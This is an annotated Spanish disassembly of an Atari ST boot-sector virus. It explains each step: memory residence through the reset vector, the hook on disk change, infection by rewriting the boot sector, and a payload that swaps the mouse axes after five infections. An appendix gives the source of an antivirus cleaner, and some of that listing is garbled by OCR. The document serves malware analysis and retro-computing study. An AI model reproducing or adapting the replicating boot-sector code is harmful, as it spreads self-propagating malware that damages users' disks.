!,000140 MOVE.L #$000000D6,D3 263C 0000 00D6 Marca de infección del virus.
!,000146 LEA $0140,A1 43F8 0140 LEA de memoria RAM $140 en A1
!,00014A LEA $000140(PC),A2 45FA FFF4 LEA de memoria RAM donde inicio el boot $000140 en A2; este caso son iguales porque al dumpear la maquina ya estaba infectada.
!,00014E MOVE.L (A2),D2 2412
!,000150 CMP.L (A1),D2 B491 Verifica marca de infeccion (263C 0000 00D6)
!,000152 BEQ $00018E 6700 003A si no esta, continua rutina para instalarse.
!,000156 MOVE.L #$31415926,D0 203C 3141 5926 Vector resvalid #$31415926 para saltar a través de resvector / Se realiza una verificación para ver si la memoria se ha dimensionado previamente (inicio en caliente).
!,00015C CLR.L D1 4281
!,00015E CMP.L $0426,D0 B0B8 0426 Verifica si hubo un warmstart, si no fué un reset salta a 00016A
!,000162 BNE $00016A 6600 0006
!,000166 MOVE.L $042A,D1 2238 042A Vector resvector $42A - Se carga vector de reset (warmstart) en D1
!,00016A LEA $000190(PC),A0 41FA 0024 Se apunta Inicio de rutina de infección, se inicio del disco A: normalmente (NO Warmstart)
!,00016E MOVE.L D1,(A0) 2081 Mueve $042A a (A0)
!,000170 MOVE.L #$00000194,D2 243C 0000 0194 $00000194 inicio rutina de instalacion del virus
!,000176 MOVE.L D2,$042A 21C2 042A Hook del RESVECTOR (Si hay un reinicio del sistema el vector de reinicio ejecuta desde $00000194)
!,00017A MOVE.L D0,$0426 21C0 0426 RESVALID -Reset pero cargando rutina de instalación del virus en resvector (persistencia en memoria)
/-------------COPIA VIRUS A MEMORIA------------------------------------------------------/
!,00017E MOVE.W (A2)+,(A1)+ 32DA Copia el virus en memoria desde $xxxxx(PC),A2 a Memoria Address $0140
!,000180 DBF D3,$00017E 51CB FFFC Hasta $D2 (211)
/---------------------------------------------------------------------------------------/
!,000184 MOVE.L #$FFFFFFFB,$02EA 21FC FFFF FFFB 02EA
!,00018C BSR $0001F2 6164 JMP 0001F2
!,00018E RTS 4E75 Return from suboutine
/----------------------------------------------------------------------------------------/
!,000190 ORI.B #$00,D0 0000 0000
/RESVECTOR ARRANCA AQUI-RUTINA DE INSTALACION EN MEMORIA-------------------------------------/
!,000194 MOVE.L $042E,A1 2278 042E phystop $80000 Este es el final de la memoria física RAM; $ 80000 por una máquina de 512K.
!,000198 SUBA.L #$00008000,A1 93FC 0000 8000 $00008000
!,00019E SUBA.L #$00000200,A1 93FC 0000 0200 Reserva 200b para el virus.
!,0001A4 MOVE.L A1,D1 2209
!,0001A6 MOVE.L #$12123456,(A1)+ 22FC 1212 3456
!,0001AC MOVE.L D1,(A1)+ 22C1
!,0001AE LEA $0001F2(PC),A3 47FA 0042
!,0001B2 LEA $00020E(PC),A4 49FA 005A
!,0001B6 MOVE.W (A3)+,(A1)+ 32DB
!,0001B8 CMPA.L A4,A3 B7CC
!,0001BA BLT $0001B6 6DFA JUMP if A3 < A3
!,0001BC LEA $000140(PC),A3 47FA FF82 Carga Inicio del virus.
!,0001C0 MOVE.L A3,(A1)+ 22CB
!,0001C2 MOVE.L D1,A3 2641
!,0001C4 CLR.W D0 4240
!,0001C6 MOVE.W #$00FE,D2 343C 00FE Contador en $FE
!,0001CA ADD.W (A3)+,D0 D05B Checksum 255W decremento usando ADD valor queda en D0 -> Source Address(A3)/ Destination D0
!,0001CC DBF D2,$0001CA 51CA FFFC
!,0001D0 MOVE.W #$5678,D2 343C 5678
!,0001D4 SUB.W D0,D2 9440
!,0001D6 MOVE.W D2,(A3) 3682
!,0001D8 MOVE.L #$00000000,$0426 21FC 0000 0000 0426 Carga del vector de Reset $0426
!,0001E0 MOVE.L $000190(PC),A1 227A FFAE
!,0001E4 CMPA.L #$00000000,A1 B3FC 0000 0000
!,0001EA BNE $0001F0 6600 0004
!,0001EE JMP (A6) 4ED6
!,0001F0 JMP (A1) 4ED1
/-------------------------------------------------------------------------------------------/
!,0001F2 MOVE.L #$31415926,$0426 21FC 3141 5926 0426 $426 resvalid Si el valor dado se encuentra aquí, se realiza un salto en un reinicio a via reset vector en la dirección $ 42A.
!,0001FA MOVE.L $0472,D0 2038 0472 Hdv_bpb Determina y devuelve el parameter block, que contiene especificaciones sobre el disquete o disco duro.
!,0001FE LEA $02E2,A0 41F8 02E2
!,000202 MOVE.L D0,(A0) 2080
!,000204 LEA $020E,A0 41F8 020E
!,000208 MOVE.L A0,$0472 21C8 0472 Hdv_bpb hook en $020E
!,00020C RTS 4E75
/-------------------------------------------------------------------------------------------/
!,00020E MOVE.W $0004(A7),D0 302F 0004 <--------------Hdv_bpb cada cambio de disco
!,000212 CMP.W #$0002,D0 B07C 0002
!,000216 BGE $0002E0 6C00 00C8
/------------LEE BOOT SECTOR Funcion Bios FLOPDR -----------------------------------------------/
!,00021A MOVEM.L D1-D5/D7-A7,-(A7) 48E7 7DFF
!,00021E MOVE.W D0,D7 3E00
!,000220 MOVE.L #$00000001,-(A7) 2F3C 0000 0001 Count 1 - Side 0 - 0001 0000
!,000226 MOVE.L #$00010000,-(A7) 2F3C 0001 0000 Track 0 - Sector 1 - 0000 0001
!,00022C MOVE.W D7,-(A7) 3F07 Device 0 - Disco A
!,00022E CLR.L -(A7) 42A7
!,000230 LEA $04C6,A5 4BF8 04C6
!,000234 MOVE.L (A5),A5 2A55
!,000236 MOVE.L A5,A6 2C4D
!,000238 MOVE.L A5,-(A7) 2F0D
!,00023A MOVE.W #$0008,-(A7) 3F3C 0008
!,00023E TRAP #14 4E4E floprd read diskette
!,000240 ADDA.L #$00000014,A7 DFFC 0000 0014
!,000246 TST.W D0 4A40
!,000248 BMI $0002DC 6B00 0092
!,00024C MOVE.W #$601C,(A5) 3ABC 601C
!,000250 ADDA.L #$0000001E,A5 DBFC 0000 001E
!,000256 LEA $000140(PC),A4 49FA FEE8
!,00025A LEA $0002F0(PC),A3 47FA 0094
!,00025E MOVE.W (A4)+,(A5)+ 3ADC
!,000260 CMPA.L A3,A4 B9CB
!,000262 BLT $00025E 6DFA
!,000264 MOVE.L A6,A5 2A4E
!,000266 MOVE.W #$00FE,D1 323C 00FE
!,00026A MOVE.W #$1234,D0 303C 1234 Verifica el cheksum del bootsector 1234
!,00026E SUB.W (A5)+,D0 905D
!,000270 DBF D1,$00026E 51C9 FFFC |
!,000274 MOVE.W D0,(A5) 3A80
/------- INFECTA DISCO Funcion Bios FLOPWR ----------------------------------------------------/
!,000276 MOVE.L #$00000001,-(A7) 2F3C 0000 0001 Count 1 - Side 0 - 0001 0000
!,00027C MOVE.L #$00010000,-(A7) 2F3C 0001 0000 Track 0 - Sector 1 - 0000 0001
!,000282 MOVE.W D7,-(A7) 3F07 Device 0 - Disco A
!,000284 CLR.L -(A7) 42A7
!,000286 MOVE.L A6,-(A7) 2F0E Buffer
!,000288 MOVE.W #$0009,-(A7) 3F3C 0009 Setea parametro para llamar a XBIOS flopwr write diskette sector
!,00028C TRAP #14 4E4E Llama al XBIOS
!,00028E ADDA.L #$00000014,A7 DFFC 0000 0014
/------------------------------------------------------------------------------------/
!,000294 TST.W D0 4A40 Testea si infecto un nuevo disco
!,000296 BMI $0002DC 6B00 0044 Fin de Booteo
!,00029A ADDI.L #$00000001,$02EA 06B8 0000 0001 02EA ADD 1 to $02EA (contador de infecciones)
!,0002A2 CMPI.L #$00000005,$02EA 0CB8 0000 0005 02EA CMP $02EA con 5 (cuando el contador en memoria llega a 5 infecciones se ejecuta el Payload )
!,0002AA BNE $0002DC 6600 0030 BRANCH sin no alcanzo las 5 infeciones y termina booteo normal
!,0002AE CLR.L $02EA 42B8 02EA Limpia el contador de infecciones
/---- PAYLOAD - INTERCAMBIA EJES X/Y DEL MOUSE ------------------------------------------------/
!,0002B2 MOVE.W #$0022,-(A7) 3F3C 0022 Setea parámetro para llamar kbdvbase del XBIOS
!,0002B6 TRAP #14 4E4E Llama a la función XBIOS kbdvbase - retorna address vector table en D0 del keyboard (el mismo chip del keyboard maneja joy y mouse)
!,0002B8 ADDQ.L #2,A7 548F Arregla pila
!,0002BA ADD.L #$00000010,D0 D0BC 0000 0010 add $00000010 para obtener la direccion del puntero del mouse que esta en A1E de la tabla
!,0002C0 EXG D0,A0 C188
/-----INITMOUS XBIOS para inicializar el mouse ------------------------------------------------/
!,0002C2 MOVE.L (A0),-(A7) 2F10 Mueve dirección a Pila obtenida en kdnvbase carga la pila con valor 0
!,0002C4 PEA $0002E6(PC) 487A 0020 carga la pila con valor 0
!,0002C8 MOVE.L #$00000001,-(A7) 2F3C 0000 0001 Setea parámetro para habilitar en mouse en modo relativo (si pongo un 0 lo deshabilita)
!,0002CE TRAP #14 4E4E Llama al XBIOS
!,0002D0 ADDA.L #$0000000C,A7 DFFC 0000 000C
!,0002D6 EORI.B #$01,$02E6 0A38 0001 02E6
!,0002DC MOVEM.L (A7)+,D1-A6 4CDF 7FFE
!,0002E0 JMP $E05210 4EF9 00E0 5210
Bibliografia utilizada
Atari ST Machine Language
Atari ST Internals
The ST Assembly Language Workshop
UVK BOOK Único sitio con mucha información sobre virus de Atari ST. Imperdible!
Emulador STEEM SSE https://sourceforge.net/projects/steemsse/
Gostvirus.7z - Imagen de disco infectada con el BootSector virus.
DevPAC.st - Utilidades de Assembler
EasyReader - Disassembler
TempleMon - Memory Monitor/Dump
FastBasic - F.Basic Assembler
Antidote.prg - Programa en F. Basic Assembler para eliminar BootSector Virus, muy interesante. Ver anexo.
anexo.
Código Fuente en Fast Basic Assembler de un eliminador de bootsector virus.
40 \ Fast Basic assembler
50 RESERVE ODE,10000
60 F%=0PEN0UT "ANTIDOTE.PRG"
70 PROCASSEMBLE:CLOSE#F%:STOP
80 HIDEMOUS :BEGINUPDATE
90 CALL KILL
100 ENDUPDAT :PROCREGISTERS
110 END
120 DEF PROCASSEMBLE
130 FOR PASS =1 TO 2
140 PC=C0DE
150 [
OPT PASS,"l +D+H+W+",F%
KILL LEA TITLE(PC),A0
BSR MESSAGE
TEST LEA PROMPTCPC) ,A0
BSR MESSAGE
LEA HITMESS(PC),A0
BSR MESSAGE
BSR ENTER
BSR RDBOOT /Uan't read boot
TST D0
BMI FAIL
MOVE.L #BOOT,A0 \Apunta al Buffer del Boot
MOVE.W #255,D0 \FF
MOVE.L #0,D1
SUM ADD.W (A0)+,D1 \Test for
DBRA D0,SUM \a virus
CMP.W #$1234,D1
BNE OK
BAD LEA VIRUS(PC),A0
BSR MESSAGE
LEA KILLHESS(PC),A0
BSR MESSAGE
YES BSR ENTER
CMP.B #"Y",D0
BEQ DIE
CHP.B #"y",D0
BNE LOOP
DIE MOVE.L #BOOT,A0 \Kill v
ADD.L #40,A0
MOVE.W #235,D0
WIPE MOVE.W #0,(A0)+
DBRA D0,WIPE
BSR WRBOOT
TST D0
BHI FAIL
OK LEA CLEAN(PC),A0
BSR MESSAGE
LOOP LEA AGAIN(PC),A0
BSR MESSAGE
BSR ENTER
CMP.B #"Y',D0
BEQ TEST
CMP.B #"y",D0
BE8 TEST
LEA BYE(PC),A0
BSR MESSAGE
CLR.W -(A7)
TRAP #1
RTS
FAIL LEA ERMESS(PC),A0 \Error
BSR MESSAGE
BRA LOOP
RDBOOT
MOVE.W #1,-(A7) \Count
MOVE.W #0,-(A7) \Side
MOVE.W #0,-(A7) \Track
MOVE.W #1,-(A7) \Sect start
MOVE.W #0,-(A7) \Drive A
CLR.L -(A7)
MOVE.L #BOOT,-(A7)
MOVE.W #8,-(A7)
TRAP #14
ADD.L #20,A7
RTS
WRBOOT
MOVE.W #1,-(A7) \Count
MOVE.W #0,-(A7) \Side
MOVE.W #0,-(A7) \Track
MOVE.W #1,-(A7) \Sect start
MOVE.W #0,-(A7) \Drive A
CLR.L -(A7)
MOVE.L #BOOT,-(A7)
MOVE.W #9,-(A7)
TRAP #14
ADD.L #20,A7
RTS
MESSAGE
MOVE.L A0,-(A7)
MOVE.W #9,-(A7)
TRAP #1
ADD8.L #6,SP
RTS
ENTER
CLR.W, D0
MOVE.W #7,-(A7)
TRAP #1
ADDQ.L #2,A7
RTS
TITLE DC.B 27,"E","VIRUS KILLER"
DC.B 13,10,0
EVEN
PROMPT DC.B "PUT A DISC TO BE"
DC.B " TESTED INTO DRF
DC.B "VE A",13,10,0
EVEN
HITMESS DC.B "HIT A KEY TO CO"
DC.B "NTINUE",13,10,0
EVEN
VIRUS DC.B "BOOT PROGRAM DET"
DC.B "ECTED',13,10,0
EVEN
KILLMESS DC.B "REMOVE [Y/N]"
DC.B 13,10,0
EVEN
AGAIN DC.B "ANOTHER DISC ill
DC.B "NT, 13,10,0
EVEN
ERMESS DC.B "DISC ERROR"
DC.B 13,10,0
EVEN
BYE DC.B "GOODBYE",13,10,0
EVEN
CLEAN DC.B "DISC SAFE",13,10,0
EVEN
BOOT DS.B 512
]
1350 NEXT PASS
1360 ENDPROC